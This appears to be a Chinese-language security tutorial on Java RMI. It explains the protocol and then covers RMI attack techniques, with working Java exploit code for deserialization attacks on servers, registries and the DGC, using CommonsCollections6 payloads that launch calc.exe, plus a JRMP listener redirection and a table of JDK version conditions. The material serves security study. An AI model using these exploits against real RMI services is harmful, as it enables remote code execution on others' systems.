RMI组成与调用过程 RMI(Remote Method Invocation)由三大部分构成:
Server: 提供远程的对象
**骨干网(skeleton)**完成对服务器对象实际的方法调用,并获取返回值。
Client: 调用远程的对象
**存根(stub)**扮演着远程服务器对象的代理的角色,使该对象可被客户激活。
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
使用RMI调用远程对象方法时的流程如图
具体的调用过程是
RMI客户端在调用远程方法时会先创建 Stub(sun.rmi.registry.RegistryImpl_Stub)。
Stub 会将 Remote 对象传递给远程引用层(java.rmi.server.RemoteRef) 并创建java.rmi.server.RemoteCall(远程调用) 对象。
RemoteCall 序列化 RMI服务名称、Remote 对象。
RMI客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI服务端的远程引用层。
RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef) 收到请求会请求传递给 Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
Skeleton 调用 RemoteCall 反序列化 RMI客户端传过来的序列化。
Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
RMI客户端反序列化服务端结果,获取远程对象的引用。
RMI客户端调用远程方法,RMI服务端反射调用 RMI服务实现类的对应方法并序列化执行结果返回给客户端。
RMI客户端反序列化 RMI 远程方法调用结果。
RMI QuickStart 1.创建RMI Server&&Registry 实际应用中RMI的Server与Registry是同时创建的,主要分为三步:
创建⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()。
创建⼀个实现了此接⼝的类。
创建⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package org.spring.rmi;import java.rmi.Naming;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.server.UnicastRemoteObject;public class RMIServer { public interface IRemoteHelloWorld extends Remote { public String hello () throws RemoteException; } public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld () throws RemoteException { super (); } public String hello () throws RemoteException { System.out.println("call from" ); return "Hello world from SPRING" ; } } private void start () throws Exception { RemoteHelloWorld h = new RemoteHelloWorld (); LocateRegistry.createRegistry(1099 ); Naming.rebind("rmi://127.0.0.1:1099/Hello" , h); } public static void main (String[] args) throws Exception { new RMIServer ().start(); } }
2.创建Client并调用 Client如果本地存在此类,就可以直接接收远程返回的实例并执行方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.spring.rmi;import org.spring.rmi.RMIServer;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class RMIClient { public static void main (String[] args) throws Exception { RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://172.20.10.2:1099/Hello" ); String ret = hello.hello(); System.out.println( ret); } }
协议层分析 详细内容见文档:Java Remote Method Invocation: 10 - RMI Wire Protocol (oracle.com)
协议交互这块比较复杂不想一点点写了(感觉即使写出来也没多大意思),个人认为重点就就是以下几个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 public static void sendRawCall (String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception { Socket socket = SocketFactory.getDefault().createSocket(host, port); socket.setKeepAlive(true ); socket.setTcpNoDelay(true ); DataOutputStream dos = null ; try { OutputStream os = socket.getOutputStream(); dos = new DataOutputStream (os); dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call); final ObjectOutputStream objOut = new MarshalOutputStream (dos); objid.write(objOut); objOut.writeInt(opNum); objOut.writeLong(hash); for (Object object: objects) { objOut.writeObject(object); } os.flush(); } finally { if (dos != null ) { dos.close(); } if (socket != null ) { socket.close(); } } } public static void main (String[] args) { try { ReflectUtils.enableCustomRMIClassLoader(); RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint ("127.0.0.1" ,21099 ); RemoteObjectWrapper remoteObj = new RemoteObjectWrapper (rmiRegistry.lookup("math" ),"math" ); Object payloadObj = CC6.getPayloadObject("calc.exe" ); final String methodSignature = "add(Ljava/lang/Integer;Ljava/lang/Integer;)Ljava/lang/Integer;" ; Long methodHash = RemoteUtils.computeMethodHash(methodSignature); sendRawCall(remoteObj.getHost(),remoteObj.getPort(),remoteObj.objID,-1 ,methodHash,payloadObj); }catch (Throwable t){ t.printStackTrace(); } }
RMI攻击面 信息泄露 由于list方法可以返回有的绑定名,那么我们可以去通过list+lookup的方式遍历获得所有的远程方法信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.dem0.vuln;import com.dem0.internal.ReflectUtils;import de.qtc.rmg.networking.RMIRegistryEndpoint;import de.qtc.rmg.plugin.PluginSystem;import de.qtc.rmg.utils.RemoteObjectWrapper;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class infoLeak { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry("192.168.59.1" , 1099 ); ReflectUtils.enableCustomRMIClassLoader(); PluginSystem.init(null ); RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint ("192.168.59.1" , 1099 ); RemoteObjectWrapper[] rows = rmiRegistry.lookup(registry.list()); for ( RemoteObjectWrapper row: rows) { System.out.println(row.className +"\tport:" + row.endpoint.getPort()); } }catch (Throwable t){ t.printStackTrace(); } } }
加载远程类 在QuickStart中的例子中,我们使用RMI加载了本地classpath中的类完成方法调用,如果本地classpath中不存在远程lookup到的类就会出现报错。因此类似classpath本地类加载,jdk还提供了一种加载远程类的方式,也就是使用**codebase **。注意自定义codebase要满足以下条件:
安装并配置了SecurityManager
设置了 java.rmi.server.useCodebaseOnly=false 或者Java版本低于7u21、6u45(此时该值默认为false)
想要加载指定地址的远程类,可以在运行server端时指定如下VM options参数:
1 -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.111.1:9080/
注意 :在RMI中Registry,Server,Client都可以互相进行远程类加载,也就是说两两之间都可以通过codebase加载远程类(如果在本地classpath找不到)触发静态代码块执行。
反序列化 在RMI的通信过程中,实际上对象是绑定在本地JVM中的 ,通过网络传输的是函数参数、函数返回值,如果函数过程中出现异常也需要对异常消息进行传输,所以整个过程中可能出现问题的三个部分是:
函数参数的序列化/反序列化
函数返回值的序列化/反序列化
函数异常处理的序列化/反序列化
注意:
在JEP290出现之前(jdk版本低于6u141
, 7u131
,8u121
),思路1、2、3都是可行的,往后的版本就会被拦截。
在jdk版本小于8u231
之前,思路4中的DGC Call是可行的,但往后的版本也存在bypass方式。
思路4中的JRMP Listener不受版本限制。
1.参数反序列化(attack Server) 如果S端对象方法的参数列表中存在类型为Object的参数,那么根据RMI的协议分析,参数会经历序列化与反序列化进行网络传输,此时我们直接将参数设置为恶意的Object就可以触发S端的反序列化漏洞(如果S端存在反序列化链)。
修改Server端类的方法参数为Object:
获取远程类,调用远程方法并传递参数为恶意反序列化对象,成功执行命令。
2.参数反序列化(attack Registry) 上一种方式实用性不够强,我们将其特殊化,即开启RMIserver的主机是否存在方法参数为Object的已知类?注意到Registry本身就是远程对象,因此Registry类的各种方法也是可以获取的,以bind方法为例。
1 2 public void bind (String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException;
参数存在Object,符合要求,远程调用bind函数时逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 if (var4 != 4905912898345647071L ) { throw new SkeletonMismatchException ("interface hash mismatch" );case 0 : try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException ("error unmarshalling arguments" , var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException ("error unmarshalling arguments" , var95); } finally { var2.releaseInputStream(); } var6.bind(var7, var8); try { var2.getResultStream(true ); break ; } catch (IOException var93) { throw new MarshalException ("error marshalling return" , var93); }
明显对于name以及obj都是直接readObject的,我们构造数据包需要的字段opNum、methodHash等都在代码里可以找到,因此直接发送原始RMI流量至Registry调用其bind方法,并传递恶意对象即可。
1 2 3 Serializable object = new CommonsCollections6 ().getObject("win_cmd:calc.exe" );ObjID objID = new ObjID (0 ); sendRawCall("127.0.0.1" ,1099 ,objID,0 ,4905912898345647071L ,object);
或者可以利用代理类封装:
1 2 3 4 5 6 7 8 9 10 Object payload = CC6.getPayloadObject("calc.exe" ); Map<String, Object> map = new HashMap <>(); map.put("whatever" , payload);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true );InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map);Remote obj = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class []{Remote.class}, invocationHandler); registry.bind("evil" , obj);
3.返回值反序列化 很好理解,如果S端起一个恶意RMI,C端远程调用S端方法后,S端传递返回值给C端,此时如果返回值中包含恶意对象C端就可能受到反序列化攻击。
首先S端起恶意RMI,编写方法返回恶意Object。
然后C端调用S端hello,即可触发反序列化。
伪造Lesae 进行对远程的操作之前,总会先检查Lease是否存在或过期。如果没有就会先发一个DGC Call去获取一个Lease,如果我们伪造这个Lease并替换成恶意反序列化对象,同样可以触发反序列化。S端除了会传入我们使用的远程对象还会传入一个DGCImpl_Skel对象,它的dispatch方法中存在clean()与dirty()对应case 0与case 1,并且都存在反序列化。
因此我们伪造一个Dirty Call即可。
1 2 3 4 5 6 String registryHost = "127.0.0.1" ; int registryPort = 21099 ; final Object payloadObject = CC6.getPayloadObject("calc.exe" ); ObjID objID = new ObjID (2 ); RemoteUtils.sendRawCall(registryHost, registryPort, objID, 0 , -669196253586618813L ,payloadObject);
或者可以攻击S端:
1 2 3 4 5 6 RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint ("192.168.111.1" ,1099 );RemoteObjectWrapper remoteObj = new RemoteObjectWrapper (rmiRegistry.lookup("math" ),"math" );Object payloadObject = CC6.getPayloadObject("calc.exe" );ObjID objID = new ObjID (2 ); RemoteUtils.sendRawCall(remoteObj.getHost(), remoteObj.getPort(), objID, 0 , -669196253586618813L ,payloadObject);
4.异常消息反序列化 JRMP Listener 流量分析中可以看到,每次调用远程对象都会伴随发送一个JRMP Call请求,处理逻辑在UnicastRef调用excuteCall(),正常情况下也就是return Type为1,返回为空,异常状态下return Type 为2,就会触发反序列化。
1 2 3 4 5 6 7 8 switch (var1) { case 1 : return ; case 2 : Object var14; try { var14 = this .in.readObject();
因此我们编写一个构造出一个基于JRMP协议的Server,当Client发起JRMP Call时依照JRMP协议格式返回一个报错信息,并将恶意的object包含在内(数据包的object字段)。参考ysoserial#JRMPListener 。
此方法在高版本下依然有效,原因是JEP290仅仅在JRMP协议层之上进行了过滤,忽略了对JRMP层错误信息的过滤。
DGC Call 类似的过程在Registry与Server之间也存在,Server访问Registry去bind远程对象的时候的时候,Registry会返回DGC请求,因为DGC请求也建立在JRMP之上,因此也可以编写恶意的JRMP Listener攻击Registry。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 String registryHost = "127.0.0.1" ;int registryPort = 1099 ;String JRMPHost = "127.0.0.1" ;int JRMPPort = 16999 ; Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null ); constructor.setAccessible(true );UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null );TCPEndpoint ep = (TCPEndpoint) getFieldValve(getFieldValve(getFieldValve(remoteObject,"ref" ),"ref" ),"ep" ); setFieldValue(ep,"port" ,JRMPPort); setFieldValue(ep,"host" ,JRMPHost);ObjID objID_ = new ObjID (0 ); RemoteUtils.sendRawCall(registryHost,registryPort,objID_,0 ,4905912898345647071L ,"test" ,remoteObject);
这种方式截止到8u231就被禁止了,当然也存在bypass方式能够触发8u241之前的版本。
RMI attack总结 来自参考资料:
攻击类型
jdk版本要求
其它条件
加载远程类
<7u21、6u45
无
加载远程类
任意
SecurityManager allow/ java.rmi.server.useCodebaseOnly=false
远程对象方法参数反序列化
<8u242
远程对象参数除int、boolean等基本类外/服务端存在反序列化链
远程对象方法参数反序列化
任意
远程对象参数除int、boolean等基本类和String类外/远程对象环境存在反序列化链
Registry方法参数反序列化
<8u121,7u13,6u141
Registry端存在反序列化链
远程对象方法结果
任意
调用端存在反序列化环境
DGC方法返回值存在反序列化
<8u121,7u13,6u141
调用端存在反序列化链
JRMI CALL 报错反序列化
任意
调用端存在反序列化链
Registry bind/rebind 触发JRMI CALL报错
<8u231
Registry存在反序列化链
Registry 方法参数反序列化触发JRMI CALL报错
<8u241
Registry存在反序列化链
REF
RMI:
LDAP:
CORBA:
Summary: